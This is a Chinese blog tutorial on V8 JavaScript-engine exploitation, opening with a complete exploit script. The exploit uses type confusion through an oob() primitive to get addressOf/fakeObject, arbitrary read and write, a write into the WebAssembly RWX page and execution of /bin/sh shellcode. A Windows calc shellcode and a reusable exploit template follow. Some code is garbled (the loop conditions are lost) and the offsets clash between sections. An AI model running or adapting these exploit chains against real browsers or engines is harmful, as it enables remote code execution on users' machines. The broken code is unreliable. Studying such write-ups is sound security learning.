var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function float_to_int(f)  
{  
    f64[0] = f;  
    return bigUint64[0];  
}  
  
function int_to_float(i)  
{  
    bigUint64[0] = i;  
    return f64[0];  
} 

function get_map(farray)
{
    return float_to_int(farray.oob());
}

function set_map(farray, value)
{
    farray.oob(int_to_float(value));
}

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];
var double_array_map = get_map(double_array);
var obj_array_map = get_map(obj_array);
function addressOf(target_var)
{
    obj_array[0] = target_var;
    set_map(obj_array, double_array_map);
    var target_var_addr = float_to_int(obj_array[0])-1n;
    set_map(obj_array, obj_array_map);
    return target_var_addr;
}

function fakeObject(target_addr)
{
    double_array[0] = int_to_float(target_addr+1n);
    set_map(double_array, obj_array_map);
    var fake_obj = double_array[0];
    set_map(double_array, double_array_map);
    return fake_obj;
}

var fake_array = [int_to_float(double_array_map),0,int_to_float(0x4141414141414141n)];
function AAR(addr)
{
    var fake_obj_addr = addressOf(fake_array)+0x58n;
    fake_array[2] = int_to_float(addr-0x10n+1n);
    var fake_obj = fakeObject(fake_obj_addr);
    return float_to_int(fake_obj[0]);
}

function AAW(addr, value)
{
    var fake_obj_addr = addressOf(fake_array)+0x58n;
    fake_array[2] = int_to_float(addr-0x10n+1n);
    var fake_obj = fakeObject(fake_obj_addr);
    fake_obj[0] = int_to_float(value);
}

function shellcode_write(addr,shellcode)
{
    var data_buf = new ArrayBuffer(shellcode.length*8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr=addressOf(data_buf)+0x20n;
    AAW(buf_backing_store_addr,addr);
    for (let i=0;ilength;++i)
        data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x88n);

//Linux x64
var shellcode = [  
  0x2fbb485299583b6an,  
  0x5368732f6e69622fn,  
  0x050f5e5457525f54n  
];
shellcode_write(rwx_addr, shellcode);
f();

V8利用(1)-基础

2024-09-21T13:00:00.000Z

前言

V8系列文章均基于https://github.com/ErodedElk/Chaos-me-JavaScript-V8

以及从0开始学V8漏洞利用之环境搭建（一） - Hc1m1 (nobb.site)

踩雷后发现尽量用ubuntu 20.04，我用的22.04一堆报错。

环境配置请直接看上面链接，Toka✌太强了

调试

先编写(复制)调试样本测试：

//demo.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

保存为demo.js

然后进入v8/out/x64_$name.release目录下可以看到d8（真正解析执行js代码），然后gdb d8

1
2
3

在gdb中执行
r --allow-native-syntax demo.js的路径
c

然后看到DebugPrint输出了一些信息，并且程序产生了中断

pwndbg> c
Continuing.
DebugPrint: 0x2cfa081d370d: [Function] in OldSpace
 - map: 0x2cfa08204919  [FastProperties]
 - prototype: 0x2cfa081c3b4d 
 - elements: 0x2cfa0800222d  [HOLEY_ELEMENTS]
 - function prototype: 
 - shared_info: 0x2cfa081d36e9 
 - name: 0x2cfa080051cd 
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x2cfa081c3649 
 - code: 0x2cfa0000d801 
 - Wasm instance: 0x2cfa081d35b9 
 - Wasm function index: 0
 - properties: 0x2cfa0800222d 
 - All own properties (excluding elements): {
    0x2cfa080048f1: [String] in ReadOnlySpace: #length: 0x2cfa08142339  (const accessor descriptor), location: descriptor
    0x2cfa08004a21: [String] in ReadOnlySpace: #name: 0x2cfa081422f5  (const accessor descriptor), location: descriptor
    0x2cfa08004029: [String] in ReadOnlySpace: #arguments: 0x2cfa0814226d  (const accessor descriptor), location: descriptor
    0x2cfa08004245: [String] in ReadOnlySpace: #caller: 0x2cfa081422b1  (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
0x2cfa08204919: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - back pointer: 0x2cfa080023b5 
 - prototype_validity cell: 0x2cfa08142405 
 - instance descriptors (own) #4: 0x2cfa081d0445 
 - prototype: 0x2cfa081c3b4d 
 - constructor: 0x2cfa08002235 
 - dependent code: 0x2cfa080021b9 
 - construction counter: 0

DebugPrint: 0x2cfa081d35b9: [WasmInstanceObject] in OldSpace
 - map: 0x2cfa08207399  [FastProperties]
 - prototype: 0x2cfa08048065 
 - elements: 0x2cfa0800222d  [HOLEY_ELEMENTS]
 - module_object: 0x2cfa08049ca9 
 - exports_object: 0x2cfa08049e5d 
 - native_context: 0x2cfa081c3649 
 - memory_object: 0x2cfa081d35a1 
 - table 0: 0x2cfa08049e2d 
 - imported_function_refs: 0x2cfa0800222d 
 - indirect_function_table_refs: 0x2cfa0800222d 
 - managed_native_allocations: 0x2cfa08049de5 
 - memory_start: 0x7fc4ec000000
 - memory_size: 65536
 - imported_function_targets: 0x563d8c4d3c60
 - globals_start: (nil)
 - imported_mutable_globals: 0x563d8c4d3d90
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x2cfa0800222d 
 - All own properties (excluding elements): {}

0x2cfa08207399: [Map]
 - type: WASM_INSTANCE_OBJECT_TYPE
 - instance size: 240
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x2cfa080023b5 
 - prototype_validity cell: 0x2cfa08142405 
 - instance descriptors (own) #0: 0x2cfa080021c1 
 - prototype: 0x2cfa08048065 
 - constructor: 0x2cfa081d242d 
 - dependent code: 0x2cfa080021b9 
 - construction counter: 0
可以看到DebugPrint打印出了f和WasmInstance的信息。可以使用job命令来查看对象信息，例如job 0x2cfa081d370d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> job 0x2cfa081d370d
0x2cfa081d370d: [Function] in OldSpace
 - map: 0x2cfa08204919  [FastProperties]
 - prototype: 0x2cfa081c3b4d 
 - elements: 0x2cfa0800222d  [HOLEY_ELEMENTS]
 - function prototype: 
 - shared_info: 0x2cfa081d36e9 
 - name: 0x2cfa080051cd 
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x2cfa081c3649 
 - code: 0x2cfa0000d801 
 - Wasm instance: 0x2cfa081d35b9 
 - Wasm function index: 0
 - properties: 0x2cfa0800222d 
 - All own properties (excluding elements): {
    0x2cfa080048f1: [String] in ReadOnlySpace: #length: 0x2cfa08142339  (const accessor descriptor), location: descriptor
    0x2cfa08004a21: [String] in ReadOnlySpace: #name: 0x2cfa081422f5  (const accessor descriptor), location: descriptor
    0x2cfa08004029: [String] in ReadOnlySpace: #arguments: 0x2cfa0814226d  (const accessor descriptor), location: descriptor
    0x2cfa08004245: [String] in ReadOnlySpace: #caller: 0x2cfa081422b1  (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
可以发现对象地址并没有4字节对齐，这是为了区分对象类型和数字类型（对象类型会将真实地址+1，而数字类型不变）。所以上述对象的真实地址应该0x2cfa081d370d-1
V8 储存数据时会让这些整数都乘以2，也包括数组的长度，因此当job认为该地址是一个数字类型时，会将其除以2之后当作原本的值。即将真实值左移1位后存储
这样来看的话，所有的数字类型都会是偶数，而所有的对象类型都会是奇数，这样似乎是方便了区分类型，避免将对象类型的地址当作数字类型输出（避免一些泄露🤔
顺带我还测试了0x2cfa081d370c+2和0x2cfa081d370c+3的情况，发现+2时job命令会输出数据值，+3时会报错，说明+2时识别为数字类型，+3时识别为对象类型，但由于其中地址有问题，导致输出不成功
查看地址中的内存数据
1
2
3
4
5
pwndbg> x/16wx 0x36d4081d370d-1
0x36d4081d370c:0x082049190x0800222d0x0800222d0x081d36e9
0x36d4081d371c:0x081c36490x0814244d0x0000d8010x080026c1
0x36d4081d372c:0x000000080x000000000x000000020x0800528d
0x36d4081d373c:0x08207bbb0x000000000x000000000x00000000
可以发现，v8 对地址数据进行了压缩储存，由于高 32bit 的地址完全相同，每个地址只会存放其低 32bit 的数据
使用vmmap命令查看程序地址空间，可以发现一段可读可写可执行的内存。
1
0x5c3bb72f000      0x5c3bb730000 rwxp     1000      0 [anon_5c3bb72f]
因此，与我们平常的用户态pwn相同，我们的目的就是在这个内存段上写入shellcode并执行。但是在高版本WASM中，这个内存段不再可写了。
数据类型
测试代码
1
2
3
4
5
6
7
8
9
10
11
//demo2.js
%SystemBreak();
a = [2.1];
b = {"a":1};
c = [b];
d = [1,2,3];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%DebugPrint(d);
%SystemBreak();
JSArray:a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> job 0x3e81080499c1
0x3e81080499c1: [JSArray]
 - map: 0x3e8108203ae1  [FastProperties]
 - prototype: 0x3e81081cc0e9 
 - elements: 0x3e81080499b1  [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x3e810800222d 
 - All own properties (excluding elements): {
    0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d  (const accessor descriptor), location: descriptor
 }
 - elements: 0x3e81080499b1  {
           0: 2.1
 }
pwndbg> x/16wx 0x3e81080499c1-1
0x3e81080499c0:0x08203ae10x0800222d0x080499b10x00000002
0x3e81080499d0:0x08207aa10x0800222d0x0800222d0x00000002
0x3e81080499e0:0x08005c110x000100010x000000000x080021f9
0x3e81080499f0:0x08007b150x000000840x000000020x08002205
可以看出，一个JSArray的内存布局为（同时可以看到length被乘以2了
1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |
同时我们可以注意到elements结构体的位置正好在&Array-0x10位置处，因此若elements结构体发生溢出，就可能覆盖到Array上的值
1
2
| 32bit map addr | 32bit length          | 64bit value                        |elements
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray
JS_OBJECT_TYPE:b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x3e81080499d1
0x3e81080499d1: [JS_OBJECT_TYPE]
 - map: 0x3e8108207aa1  [FastProperties]
 - prototype: 0x3e81081c41f5 
 - elements: 0x3e810800222d  [HOLEY_ELEMENTS]
 - properties: 0x3e810800222d 
 - All own properties (excluding elements): {
    0x3e8108007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
pwndbg> x/16wx 0x3e81080499d1-1
0x3e81080499d0:0x08207aa10x0800222d0x0800222d0x00000002
0x3e81080499e0:0x08005c110x000100010x000000000x080021f9
0x3e81080499f0:0x08007b150x000000840x000000020x08002205
0x3e8108049a00:0x000000020x080499d10x08203b310x0800222d
大致内存结构为
1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |
但elements与结构体不相邻，一般不可利用
JSArray:c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> job 0x3e8108049a09
0x3e8108049a09: [JSArray]
 - map: 0x3e8108203b31  [FastProperties]
 - prototype: 0x3e81081cc0e9 
 - elements: 0x3e81080499fd  [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x3e810800222d 
 - All own properties (excluding elements): {
    0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d  (const accessor descriptor), location: descriptor
 }
 - elements: 0x3e81080499fd  {
           0: 0x3e81080499d1 
 }
pwndbg> x/16wx 0x3e8108049a09-1
0x3e8108049a08:0x08203b310x0800222d0x080499fd0x00000002
0x3e8108049a18:0x08203a410x0800222d0x081d31ed0x00000006
0x3e8108049a28:0x000000000x000000000x000000000x00000000
0x3e8108049a38:0x000000000x000000000x000000000x00000000
pwndbg> job 0x3e81080499fd
0x3e81080499fd: [FixedArray]
 - map: 0x3e8108002205 
 - length: 1
           0: 0x3e81080499d1 
pwndbg> x/16wx 0x3e81080499fd-1
0x3e81080499fc:0x080022050x000000020x080499d10x08203b31
0x3e8108049a0c:0x0800222d0x080499fd0x000000020x08203a41
0x3e8108049a1c:0x0800222d0x081d31ed0x000000060x00000000
0x3e8108049a2c:0x000000000x000000000x000000000x00000000
c和a内存布局基本相同，但因为c中存放的是一个地址，且由于地址压缩，c的elements中存放的value只有地址的32bit，但依然同JSArray相邻
JSArray:d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> job 0x3e8108049a19
0x3e8108049a19: [JSArray]
 - map: 0x3e8108203a41  [FastProperties]
 - prototype: 0x3e81081cc0e9 
 - elements: 0x3e81081d31ed  [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x3e810800222d 
 - All own properties (excluding elements): {
    0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d  (const accessor descriptor), location: descriptor
 }
 - elements: 0x3e81081d31ed  {
           0: 1
           1: 2
           2: 3
 }
pwndbg> x/16wx 0x3e8108049a19-1
0x3e8108049a18:0x08203a410x0800222d0x081d31ed0x00000006
0x3e8108049a28:0x000000000x000000000x000000000x00000000
0x3e8108049a38:0x000000000x000000000x000000000x00000000
0x3e8108049a48:0x000000000x000000000x000000000x00000000
pwndbg> job 0x3e81081d31ed
0x3e81081d31ed: [FixedArray] in OldSpace
 - map: 0x3e8108002531 
 - length: 3
           0: 1
           1: 2
           2: 3
pwndbg> x/16wx 0x3e81081d31ed-1
0x3e81081d31ec:0x080025310x000000060x000000020x00000004
0x3e81081d31fc:0x000000060x080032590x000000000x081d31ed
0x3e81081d320c:0x080022050x000000100x081d31c90x08007b15
0x3e81081d321c:0x081d31a10x08007bb10x081d31e10x081d3119
可以看到整数数组中的elements不再与结构体相邻，因此在溢出的时候往往需要用浮点数去溢出，而不能直接用整数数据溢出
类型混淆
a、c、d变量均为JSArray，那么肯定还需要存储其中变量的数据类型，读取a、d数组的map结构体：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> job 0x086f08203ae1
0x86f08203ae1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x086f08203ab9 
 - prototype_validity cell: 0x086f08142405 
 - instance descriptors #1: 0x086f081cc59d 
 - transitions #1: 0x086f081cc5e9 Transition array #1:
     0x086f0800524d : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x086f08203b09 

 - prototype: 0x086f081cc0e9 
 - constructor: 0x086f081cbe85 
 - dependent code: 0x086f080021b9 
 - construction counter: 0

pwndbg> job 0x086f08203a41
0x86f08203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x086f080023b5 
 - prototype_validity cell: 0x086f08142405 
 - instance descriptors #1: 0x086f081cc59d 
 - transitions #1: 0x086f081cc5b9 Transition array #1:
     0x086f0800524d : (transition to HOLEY_SMI_ELEMENTS) -> 0x086f08203ab9 

 - prototype: 0x086f081cc0e9 
 - constructor: 0x086f081cbe85 
 - dependent code: 0x086f080021b9 
 - construction counter: 0
注意到elements kind成员用来标注elements类型
因此如果我们可以将一个变量的map地址赋给另一个变量，就可以错误地解析数据类型，即“类型混淆”。例如，考虑代码
1
2
3
4
5
float_arr= [2.1];
obj_arr=[float_arr];
%DebugPrint(a);
%DebugPrint(b);
%SystemBreak();
obj_arr是一个对象，其中存储着float_arr对象，因此访问obj_arr[0]会得到一个对象，而如果将一个浮点数数组的map赋给obj_arr的map，那么就会将obj_arr错误地解析为浮点数数组，进而访问obj_arr[0]时就会得到float_arr对象地址。（如果是C/C++那样的面向过程语言，可以直接取地址，但是对于JAVA、JS这类语言来说，直接获取地址是不被允许的。）
任意地址读
JS不允许我们直接读出地址，但我们可以利用类型混淆来读出。
addressOf
使用类型混淆读取地址的方法
一般写法为：
1
2
3
4
5
6
7
8
9
10
11
12
//获取某个变量的地址
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值
function addressOf(target_var)
{
obj_array[0]=target_var;
obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map
let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型
return target_var_addr;//此处返回的是 target_var 的对象结构体地址
}
上述仅为大体代码，具体视情况修改。
大致逻辑就是，定义obj_array为对象数组，修改obj_array的map为浮点数数组的map，再读出obj_array[0]的值。（因为浮点数在内存中是以整数存储的，只是表示出来是浮点数而已，因此只需要把表示出来的浮点数转为整数即可）
fakeObject
伪造一个以float_arr[0]为起始的对象，即返回一个类型混淆后的伪造对象。
一般写法为：
1
2
3
4
5
6
7
8
9
10
11
12
//将某个地址转换为对象
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值
function fakeObject(target_addr)
{
double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值
double_array.setMap(obj_array_map);
let fake_obj=double_array[0];
return fake_obj;
}
大致逻辑就是定义obj_array为对象数组，则其map表示elements为对象类型，再定义double_array为浮点数数组，将obj_array的map赋给double_array的map，这样解析出来double_array中的elements被解析出来就是以元素值为起始地址的对象了，即伪造对象。
任意地址读
即利用上述获取地址的方式来获取伪造对象位置地址，然后伪造这个对象，且对象中的elements数组可以被控制，然后访问伪造对象的元素即可实现任意地址读。
首先尝试构造出结构：
1
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];
fake_array中的值在内存中将被当作伪造对象，其内存布局为
1
2
| 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element
| 32bit fake_array map | 32bit properties | 32bit elements | 32bit length |JSArray
然后通过addressOf来获取fake_array的地址，进而计算出double_array_map所在地址，再利用fakeObject将其伪造成一个对象数组，对比JSArray的内存布局
1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray
即double_array_map需要为一个浮点数数组的map地址，然后便可以利用fake_array[1]修改伪造对象中的elements，然后访问fakeObject[0]即可读取该地址处的数据
代码逻辑大致为
1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];

function read64_addr(addr)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
return fake_object[0];
} 
任意地址写
只需要将任意地址读的return fake_object[0]改为fake_object[0]=data即可
1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4

function write64_addr(addr,data)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
fake_object[0]=data;
} 
写入shellcode
目前所实现的任意地址写并不能正常工作。因为我们写入shellcode时需要从内存段开头开始写，而开头地址-8+1是非法地址，会产生异常。因此直接写入不能成功。
另外的方法看如下代码：
1
2
3
4
5
6
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
调试可以看到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> job 0x28d0080499c9
0x28d0080499c9: [JSArrayBuffer]
 - map: 0x28d008203271  [FastProperties]
 - prototype: 0x28d0081ca361 
 - elements: 0x28d00800222d  [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x55b6c1b57660
 - byte_length: 16
 - max_byte_length: 16
 - detachable
 - properties: 0x28d00800222d 
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> job 0x28d008049a09
0x28d008049a09: [JSDataView]
 - map: 0x28d008202ca9  [FastProperties]
 - prototype: 0x28d0081c8665 
 - elements: 0x28d00800222d  [HOLEY_ELEMENTS]
 - embedder fields: 2
 - buffer =0x28d0080499c9 
 - byte_offset: 0
 - byte_length: 16
 - properties: 0x28d00800222d 
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> tel 0x55b6c1b57660
00:0000│  0x55b6c1b57660 ◂— 0x4000000000000000
01:0008│  0x55b6c1b57668 ◂— 0x0
可以发现JSDataView的buffer成员即JSArrayBuffer结构体地址，而JSArrayBuffer的backing_store存储真正的数据地址。如果我们能修改backing_store成员为我们想要写的地址，那么就可以通过JSDataView的setFloat64方法直接写入了
且该版本下backing_store成员在data_buf+0x1c地址处
那么在写入shellcode的时候就可以先使用上面的任意地址写修改backing_store为shellcode存放地址，然后再用dataview.setFloat64()方法写入shellcode
1
2
3
4
5
6
7
8
9
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x18n;
write64_addr(buf_backing_store_addr,addr);
for (let i=0;ilength;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}
实际操作中需要注意backing_store中写入的地址为64位，因此一般需要将目标地址的高32位和低32位一起读出，然后合并写入
如何获取写入内存段的地址呢，回到开始：
1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> job 0x1eec081d35b9
0x1eec081d35b9: [WasmInstanceObject] in OldSpace
 - map: 0x1eec08207399  [FastProperties]
 - prototype: 0x1eec08048065 
 - elements: 0x1eec0800222d  [HOLEY_ELEMENTS]
 - module_object: 0x1eec08049ca9 
 - exports_object: 0x1eec08049e5d 
 - native_context: 0x1eec081c3649 
 - memory_object: 0x1eec081d35a1 
 - table 0: 0x1eec08049e2d 
 - imported_function_refs: 0x1eec0800222d 
 - indirect_function_table_refs: 0x1eec0800222d 
 - managed_native_allocations: 0x1eec08049de5 
 - memory_start: 0x7f8ed0000000
 - memory_size: 65536
 - imported_function_targets: 0x55c49b514c60
 - globals_start: (nil)
 - imported_mutable_globals: 0x55c49b514d90
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x1eec0800222d 
 - All own properties (excluding elements): {}

pwndbg> tel 0x1eec081d35b9-1
00:0000│  0x1eec081d35b8 ◂— 0x800222d08207399
01:0008│  0x1eec081d35c0 ◂— 0x800222d0800222d /* '-"' */
02:0010│  0x1eec081d35c8 ◂— 0x800222d /* '-"' */
03:0018│  0x1eec081d35d0 —▸ 0x7f8ed0000000 ◂— 0x0
04:0020│  0x1eec081d35d8 ◂— 0x10000
05:0028│  0x1eec081d35e0 —▸ 0x55c49b4f0df0 —▸ 0x7ffede53abf0 ◂— 0x7ffede53abf0
06:0030│  0x1eec081d35e8 —▸ 0x55c49b514c60 ◂— 0x0
07:0038│  0x1eec081d35f0 ◂— 0x0
pwndbg> 
08:0040│  0x1eec081d35f8 ◂— 0x0
09:0048│  0x1eec081d3600 ◂— 0x0
0a:0050│  0x1eec081d3608 —▸ 0x55c49b514d90 —▸ 0x7f90d84c7be0 (main_arena+96) —▸ 0x55c49b592d10 ◂— 0x0
0b:0058│  0x1eec081d3610 —▸ 0x55c49b4f0dd0 —▸ 0x1eec00000000 ◂— 0x1b000
0c:0060│  0x1eec081d3618 —▸ 0x1e56fd940000 ◂— jmp 0x1e56fd940480 /* 0xcccccc0000047be9 */
可以发现在wasmInstance+0x68处保存了内存段的起始地址
泄露地址
如果我们想泄露libc地址，那该如何泄露呢？可以选择JSArray结构体 -> Map结构体 -> code属性地址 -> code内存地址固定偏移处的v8指令地址 -> v8的GOT表 -> libc地址，即：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> job 0xa95080499c1
0xa95080499c1: [JSArray]
 - map: 0x0a9508203ae1  [FastProperties]
 
 pwndbg> job 0x0a9508203ae1
0xa9508203ae1: [Map]
 - constructor: 0x0a95081cbe85 
 
 pwndbg> job 0x0a95081cbe85
0xa95081cbe85: [Function] in OldSpace
 - code: 0x0a9500005501 
 
 pwndbg> tel 0x0a9500005501-1+0x7ebab00 30
00:0000│  0xa9507ec0000 ◂— 0x0
... ↓     29 skipped
这里可以看到我按照Toka✌的固定偏移并未出现地址，但是我发现了如下位置
1
2
3
4
5
6
7
8
9
10
11
pwndbg> tel 0x0a9500005501-1 10
00:0000│  0xa9500005500 ◂— and dword ptr [rsi], esp /* '!&' */
01:0008│  0xa9500005508 ◂— sub eax, 0x45080022 /* '-"' */
02:0010│  0xa9500005510 ◂— imul esi, dword ptr [rax + rax], 0x1008 /* 'i4' */
03:0018│  0xa9500005518 ◂— add byte ptr [rax], al
04:0020│  0xa9500005520 ◂— movsd dword ptr [rdi], dword ptr [rsi]
05:0028│  0xa9500005528 ◂— or byte ptr [rax], al
06:0030│  0xa9500005530 ◂— or byte ptr [rax], al
07:0038│  0xa9500005538 ◂— add byte ptr [rax], al
08:0040│  0xa9500005540 ◂— movabs r10, 0x5654c74796c0
09:0048│  0xa9500005548 ◂— add byte ptr [rax], al
可以看到0x40偏移位置出现了一个地址，对应d8在内存中的代码段
1
2
3
4
0x5654c60fc000     0x5654c692f000 r--p   833000      0 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
0x5654c692f000     0x5654c776e000 r-xp   e3f000 832000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
0x5654c776e000     0x5654c77d6000 r--p    68000 1670000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
0x5654c77d6000     0x5654c77e7000 rw-p    11000 16d7000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
那么根据这个也可以泄露d8的地址，然后偏移到GOT表，进而泄露libc地址。
通用shellcode及模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//Linux x64
var shellcode = [  
  0x2fbb485299583b6an,  
  0x5368732f6e69622fn,  
  0x050f5e5457525f54n  
];  

//Windows 计算器
var shellcode = [  
0xc0e8f0e48348fcn,  
0x5152504151410000n,  
0x528b4865d2314856n,  
0x528b4818528b4860n,  
0xb70f4850728b4820n,  
0xc03148c9314d4a4an,  
0x41202c027c613cacn,  
0xede2c101410dc9c1n,  
0x8b20528b48514152n,  
0x88808bd001483c42n,  
0x6774c08548000000n,  
0x4418488b50d00148n,  
0x56e3d0014920408bn,  
0x4888348b41c9ff48n,  
0xc03148c9314dd601n,  
0xc101410dc9c141acn,  
0x244c034cf175e038n,  
0x4458d875d1394508n,  
0x4166d0014924408bn,  
0x491c408b44480c8bn,  
0x14888048b41d001n,  
0x5a595e58415841d0n,  
0x83485a4159415841n,  
0x4158e0ff524120ecn,  
0xff57e9128b485a59n,  
0x1ba485dffffn,  
0x8d8d480000000000n,  
0x8b31ba4100000101n,  
0xa2b5f0bbd5ff876fn,  
0xff9dbd95a6ba4156n,  
0x7c063c28c48348d5n,  
0x47bb0575e0fb800an,  
0x894159006a6f7213n,  
0x2e636c6163d5ffdan,  
0x657865n,  
];
下面的模板对于类型混淆的v8漏洞应该都行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
